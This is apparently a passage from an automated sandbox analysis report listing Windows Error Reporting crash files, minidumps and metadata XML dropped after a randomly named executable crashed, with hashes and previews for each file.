SHA-256:	FA98D85C95565670B904E103C52BDB3F499BC86368BA47ABAACB28B07E639FED
SHA-512:	B635E49B414357B2332936A4973550D7070668578982A8765C05E37A6B848553D26CCCFF8E11D3B7D10767F3DDF5794EB8B60CC1EEE16A88484A99257BCEF330
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.2.1.0.9.4.2.0.4.8.1.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.b.d.c.8.d.6.9.-.8.e.2.d.-.4.9.1.6.-.9.8.f.4.-.e.2.4.0.f.7.8.a.9.8.7.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.e.c.f.1.d.b.7.-.7.f.e.9.-.4.7.8.9.-.9.c.c.5.-.a.0.d.f.8.f.b.5.0.5.f.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.x.Q.X.H.o.W.M.K.o.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.4.0.-.0.0.0.1.-.0.0.1.4.-.0.f.2.1.-.b.a.7.c.7.e.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.5.9.d.6.b.4.f.e.4.7.6.b.b.0.1.4.d.9.7.2.7.4.7.9.d.9.2.1.5.5.0.0.0.0.f.f.f.f.!.0.0.0.0.c.a.1.7.f.c.4.1.1.1.d.b.c.0.8.5.5.1.a.a.b.e.0.e.8.9.0.c.3.3.7.4.4.8.a.1.9.e.d.a.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....B.o.o.t.I.d.=.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_6e2e51db-5a06-4548-9b3d-af2c418b903c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8316513282031528
Encrypted:	false
SSDEEP:	96:6egLtg3sEhq7oA7JfdQXIDcQnc6rCcEhcw3r7+HbHg/8BRTf3ZFEOyKZj8OWEADf:kL63wu056rQjpazuiFQZ24IO8LA
MD5:	6286186ADA067A84B774CBA0E7BB72B4
SHA1:	12F0ED1222D9F2972D8C0DB85B743132692C229F
SHA-256:	11598C8392606CA84A5EBB4797D79934AC6F310121B44230B29617148A955B26
SHA-512:	E86285C01F4D004BD06675CA5521BB8DDCC57CD337E4D8734D7C6C5FAF5520FB555C9703D2D207E23C8BD72CF2B7FB3A42A465BE37B1DEF98234F14D36B1BC67
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.2.1.0.9.3.5.8.4.0.0.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.e.2.e.5.1.d.b.-.5.a.0.6.-.4.5.4.8.-.9.b.3.d.-.a.f.2.c.4.1.8.b.9.0.3.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.f.3.f.d.e.f.a.-.2.9.d.3.-.4.3.8.0.-.8.8.f.3.-.c.9.2.b.2.5.6.e.a.3.3.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.x.Q.X.H.o.W.M.K.o.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.4.0.-.0.0.0.1.-.0.0.1.4.-.0.f.2.1.-.b.a.7.c.7.e.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.5.9.d.6.b.4.f.e.4.7.6.b.b.0.1.4.d.9.7.2.7.4.7.9.d.9.2.1.5.5.0.0.0.0.f.f.f.f.!.0.0.0.0.c.a.1.7.f.c.4.1.1.1.d.b.c.0.8.5.5.1.a.a.b.e.0.e.8.9.0.c.3.3.7.4.4.8.a.1.9.e.d.a.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....B.o.o.t.I.d.=.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_74f6d4fe-d78d-47bf-aecf-6d5b1c3ba39f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9289089646006553
Encrypted:	false
SSDEEP:	96:A5cPg01sEhq7oA7JfdQXIDcQnc6rCcEhcw3r7+HbHg/8BRTf3ZFEOyKZj8OWEADv:V4Owu056rQjpU7zuiFQZ24IO8LA
MD5:	A2F6E1C630E5B72DEB1D906DC3A3C12B
SHA1:	37C02923920BF51630064C618F1348A45A723BC6
SHA-256:	14C73A77DD822764981A1E20C1712A69F274893F18099ABCF64258BF1398A7F3
SHA-512:	2E7AD6500ED6E3CD3E742BEAC48C472C4FC663263F49CD0F07AE6EE27C52F0BD8C4395B7AB203E3267029E1D9B60B16FB2909ADEF96DBC61CE0B29655EA01730
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.2.1.0.9.9.0.5.1.1.3.1.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.4.f.6.d.4.f.e.-.d.7.8.d.-.4.7.b.f.-.a.e.c.f.-.6.d.5.b.1.c.3.b.a.3.9.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.b.7.d.2.2.0.6.-.5.b.4.d.-.4.1.b.7.-.b.6.8.c.-.f.c.d.7.7.2.8.5.2.b.4.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.x.Q.X.H.o.W.M.K.o.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.4.0.-.0.0.0.1.-.0.0.1.4.-.0.f.2.1.-.b.a.7.c.7.e.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.5.9.d.6.b.4.f.e.4.7.6.b.b.0.1.4.d.9.7.2.7.4.7.9.d.9.2.1.5.5.0.0.0.0.f.f.f.f.!.0.0.0.0.c.a.1.7.f.c.4.1.1.1.d.b.c.0.8.5.5.1.a.a.b.e.0.e.8.9.0.c.3.3.7.4.4.8.a.1.9.e.d.a.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....B.o.o.t.I.d.=.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_7dcbb10b-df83-4e6f-9b63-5201c606b345\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8320609326653187
Encrypted:	false
SSDEEP:	96:H6gasEhq7oA7JfdQXIDcQnc6rCcEhcw3r7+HbHg/8BRTf3ZFEOyKZj8OWEADKVh0:tawu056rQjpazuiFQZ24IO8LA
MD5:	6C61A9195D91FE1889E58B40F42029E0
SHA1:	C93080A04673CB8E4EDAA25D35B3B684892E8C1B
SHA-256:	1D2BD625FE53742AE4A5A46D6CD06A271C683C98176D1AC44EC04484E784D2BA
SHA-512:	7D2AC64D2BA81212855C3EB6EB998886CFA58F34F6DB503FDB58F55793CA7665FFA3402816EB88406A3934854F119825EB7A238B9BF0F31C0F90B7E7B61A916C
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.2.1.0.9.4.9.2.5.6.1.6.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.d.c.b.b.1.0.b.-.d.f.8.3.-.4.e.6.f.-.9.b.6.3.-.5.2.0.1.c.6.0.6.b.3.4.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.9.0.1.a.c.4.7.-.6.6.9.1.-.4.4.b.9.-.8.2.1.2.-.3.b.1.7.e.2.6.1.c.9.a.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.x.Q.X.H.o.W.M.K.o.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.4.0.-.0.0.0.1.-.0.0.1.4.-.0.f.2.1.-.b.a.7.c.7.e.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.5.9.d.6.b.4.f.e.4.7.6.b.b.0.1.4.d.9.7.2.7.4.7.9.d.9.2.1.5.5.0.0.0.0.f.f.f.f.!.0.0.0.0.c.a.1.7.f.c.4.1.1.1.d.b.c.0.8.5.5.1.a.a.b.e.0.e.8.9.0.c.3.3.7.4.4.8.a.1.9.e.d.a.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....B.o.o.t.I.d.=.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_90fd96f2-59eb-4ce6-9d1e-de15edba0462\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8471873062805857
Encrypted:	false
SSDEEP:	96:iILegnsEhq7oA7JfdQXIDcQnc6rCcEhcw3r7+HbHg/8BRTf3ZFEOyKZj8OWEADK2:vLpnwu056rQjpQzuiFQZ24IO8LA
MD5:	0696ECBD932645279E648EF6FD145694
SHA1:	FCE9CBAC32EC32C84805A2380CF610C718DDE860
SHA-256:	8C6D1BFE0DFD1DE7EADFFADE62BC0975F579270BFE8C309CCA6AF39DE2F28707
SHA-512:	697422B5A7310A683317F1E63E91B6D990093D5FC4B405CDC50F3D43E3206D0BA0C71B1ADFB0F3DB2C19084B63A8D2DC7FC5F728EBE7C7A5149A9A8C7E194B4C
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.2.1.0.9.5.7.5.5.0.1.0.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.0.f.d.9.6.f.2.-.5.9.e.b.-.4.c.e.6.-.9.d.1.e.-.d.e.1.5.e.d.b.a.0.4.6.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.5.f.5.2.3.5.e.-.5.c.1.8.-.4.9.c.e.-.a.2.5.1.-.0.e.e.b.2.e.4.6.2.7.3.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.x.Q.X.H.o.W.M.K.o.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.4.0.-.0.0.0.1.-.0.0.1.4.-.0.f.2.1.-.b.a.7.c.7.e.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.5.9.d.6.b.4.f.e.4.7.6.b.b.0.1.4.d.9.7.2.7.4.7.9.d.9.2.1.5.5.0.0.0.0.f.f.f.f.!.0.0.0.0.c.a.1.7.f.c.4.1.1.1.d.b.c.0.8.5.5.1.a.a.b.e.0.e.8.9.0.c.3.3.7.4.4.8.a.1.9.e.d.a.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....B.o.o.t.I.d.=.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_e011f5d0-3b05-4084-9882-970e4d430110\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.831553319105843
Encrypted:	false
SSDEEP:	96:Xsg7sEhq7oA7JfdQXIDcQnc6rCcEhcw3r7+HbHg/8BRTf3ZFEOyKZj8OWEADKVh0:L7wu056rQjpazuiFQZ24IO8LA
MD5:	49445557025460C97EEA225215A4AF3C
SHA1:	C927B4B3E1E3863283B20214FED7799DB9DC6EC2
SHA-256:	99455AD1814BA21BC88DADDDE20AAD462D1819C44020CD115594F86DA3237986
SHA-512:	BD92F993EC064889BA4AE54D2F3D018D4ACA1D2892A81BC6BFC5308FCBDDB0A0F8A4FF833A823E447BE9949EA392EAEC244C58351F1CA8746A73AAE3D16E46A1
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.2.1.0.9.2.3.6.2.4.1.3.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.0.1.1.f.5.d.0.-.3.b.0.5.-.4.0.8.4.-.9.8.8.2.-.9.7.0.e.4.d.4.3.0.1.1.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.9.8.4.8.5.e.4.-.1.0.f.b.-.4.d.a.c.-.b.e.e.6.-.0.7.0.2.7.4.d.1.8.0.8.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.x.Q.X.H.o.W.M.K.o.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.4.0.-.0.0.0.1.-.0.0.1.4.-.0.f.2.1.-.b.a.7.c.7.e.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.5.9.d.6.b.4.f.e.4.7.6.b.b.0.1.4.d.9.7.2.7.4.7.9.d.9.2.1.5.5.0.0.0.0.f.f.f.f.!.0.0.0.0.c.a.1.7.f.c.4.1.1.1.d.b.c.0.8.5.5.1.a.a.b.e.0.e.8.9.0.c.3.3.7.4.4.8.a.1.9.e.d.a.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....B.o.o.t.I.d.=.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_fec04291-1d36-471c-9fcc-58b35baad30b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8471977815694767
Encrypted:	false
SSDEEP:	96:c5FgOsEhq7oA7JfdQXIDcQnc6rCcEhcw3r7+HbHg/8BRTf3ZFEOyKZj8OWEADKVg:CiOwu056rQjpQzuiFQZ24IO8LA
MD5:	844ABF382B004C05D9717C366E44DF5B
SHA1:	B9EE720C1C5F27118A794943DE394EC8DD563E72
SHA-256:	EBFF9D3F82ACEE92E6294A5BA5132EF7B532C120AE789EE239A52B2F8D81EC0D
SHA-512:	9F28A878B9E8C45815D27199F4246BB058ADFBD7C0C4BC6D67370D8FDFE7556312E48113E65A45D3F438B5700711E68C0DB6ECA8F5EA80102797390238CB4B0A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.0.2.1.0.9.6.4.9.1.2.9.0.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.e.c.0.4.2.9.1.-.1.d.3.6.-.4.7.1.c.-.9.f.c.c.-.5.8.b.3.5.b.a.a.d.3.0.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.c.2.f.e.6.d.1.-.2.0.d.1.-.4.f.c.1.-.9.a.0.0.-.a.0.a.4.1.6.e.c.0.8.b.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.x.Q.X.H.o.W.M.K.o.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.4.0.-.0.0.0.1.-.0.0.1.4.-.0.f.2.1.-.b.a.7.c.7.e.9.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.6.5.9.d.6.b.4.f.e.4.7.6.b.b.0.1.4.d.9.7.2.7.4.7.9.d.9.2.1.5.5.0.0.0.0.f.f.f.f.!.0.0.0.0.c.a.1.7.f.c.4.1.1.1.d.b.c.0.8.5.5.1.a.a.b.e.0.e.8.9.0.c.3.3.7.4.4.8.a.1.9.e.d.a.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.x.Q.X.H.o.W.M.K.o.a...e.x.e.....B.o.o.t.I.d.=.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD0EE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 17:24:52 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63114
Entropy (8bit):	2.229109378499161
Encrypted:	false
SSDEEP:	384:fpA0u+GgbzEo3HeACsDWO7/QMcytmu1edhB+YZZo:RAWnzEo8sx7/MBzo
MD5:	A61A9DCDA92B60643EA1FE7AFDA6568C
SHA1:	BEA1D5630B5DFA630C5D2125C3A3A90F8133B6D4
SHA-256:	652DAFE957B51DAFE654D827436FA5469169343F2DCD16CF47471AF4D2E2DF0D
SHA-512:	BC25CD0EDEE226466936553F9AC80C3D8BE5C82426FFB46A6BE2C01750F5E271B6C01C3E398E4E9F5AE33AE599211C091D248993F9487833CECC2D8B09038610
Malicious:	false
Preview:	MDMP..a..... ........"f........................\...........d....-..........T.......8...........T........... ...j...........X...........D...............................................................................eJ..............GenuineIntel............T.......@...."f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD1E9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8360
Entropy (8bit):	3.7018621886632825
Encrypted:	false
SSDEEP:	192:R6l7wVeJMoG6IgNn6YEIYSUjzBgmf5/2jCpBZ89b9usfY/m:R6lXJMB6IgNn6YEnSUjVgmf5O9tf9
MD5:	16FCD458C5636448091CFBAE40567CB6
SHA1:	8246546EEE7A2CA1BCCEF028179857AD213E5515
SHA-256:	6D9D2CA59D92D22D0174B7462CAB9CC4D4DBF46B19D169AE67ED72E3E0D03581
SHA-512:	2412B9A21E6A0ED8F6F1660F7D799A8E9FF1A792B797110A1EFA9543CA2E81D0F5F9844B6A4CA5E503001958515DAD8E168BC84F1CF153ECEF074D4C1663EA02
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD267.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4619
Entropy (8bit):	4.500747745997885
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZiJg77aI9PsWpW8VYTYm8M4JHCFh+q8FevkiPJq05d:uIjfZwI7VF7VvJymiM05d
MD5:	4B107F434381456CB123342E7B9FD2AC
SHA1:	5D96FCEA3D5937249DD37BD3D8383DD2F1E1AD18
SHA-256:	2EB4C1874F0619A3FC98701D02266C00DD0A3367C70EBEFA867778663419E9D8
SHA-512:	EE05CFC5DAB0F170732306A6E6C61B538FEED378FCC8FB7262BF854504E31D59260D7BAFCE1FEFC2A031CE2B36361B16D1D612DBBFD42F2D14D73F762AFE2030
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287067" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD5B1.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 17:24:53 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63006
Entropy (8bit):	2.2523632813119483
Encrypted:	false
SSDEEP:	384:HE0u+Gvz93HeA66WEE7/QMcytmu1edhpMtZPd:kWoz9oUE7/MpMt
MD5:	B8EB82071327FC710EBCECC30F77CAA4
SHA1:	DCED6687541ABB7B3737BCEA3D2CE0A7C6A11866
SHA-256:	F9EC4246F180068796F0D4A8AE7E9079CDE64EBA7C3B7183A729876760D426A4
SHA-512:	34B53AD172BEE33928E27A37C81D34FBEE45FD2D219C0CC05573B4647A83BC3A4625F7223CBA6E9B322F027AA29A0DBD549C5C81D5433FFEEBE225B35EBCD78D
Malicious:	false
Preview:	MDMP..a..... ........"f........................\...........d....-..........T.......8...........T...........................X...........D...............................................................................eJ..............GenuineIntel............T.......@...."f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD60F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8362
Entropy (8bit):	3.703801222141124
Encrypted:	false
SSDEEP:	192:R6l7wVeJMo06IgNOZ6YEIlSUy9egmf5/2jCpB189b0usfHM8m:R6lXJMb6IgNA6YEKSUy9egmf5q0tfu
MD5:	73540A7A783477A68C0363010B92AD7B
SHA1:	1AE9F2F644D64C811B90A4EC77ECAAD0EE98E484
SHA-256:	5C307C40BAE8C5D2B2CB9620AAF702DF68F042077D2965AA9EBE06951F4351E2
SHA-512:	23D1C7A960F79E24DD5974B902CB826D002BCA8226927B979A14755C092023D4C4C60605776F421D64F67F35B07545121FA7CEF10A022A33FB0791848933BBF6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. 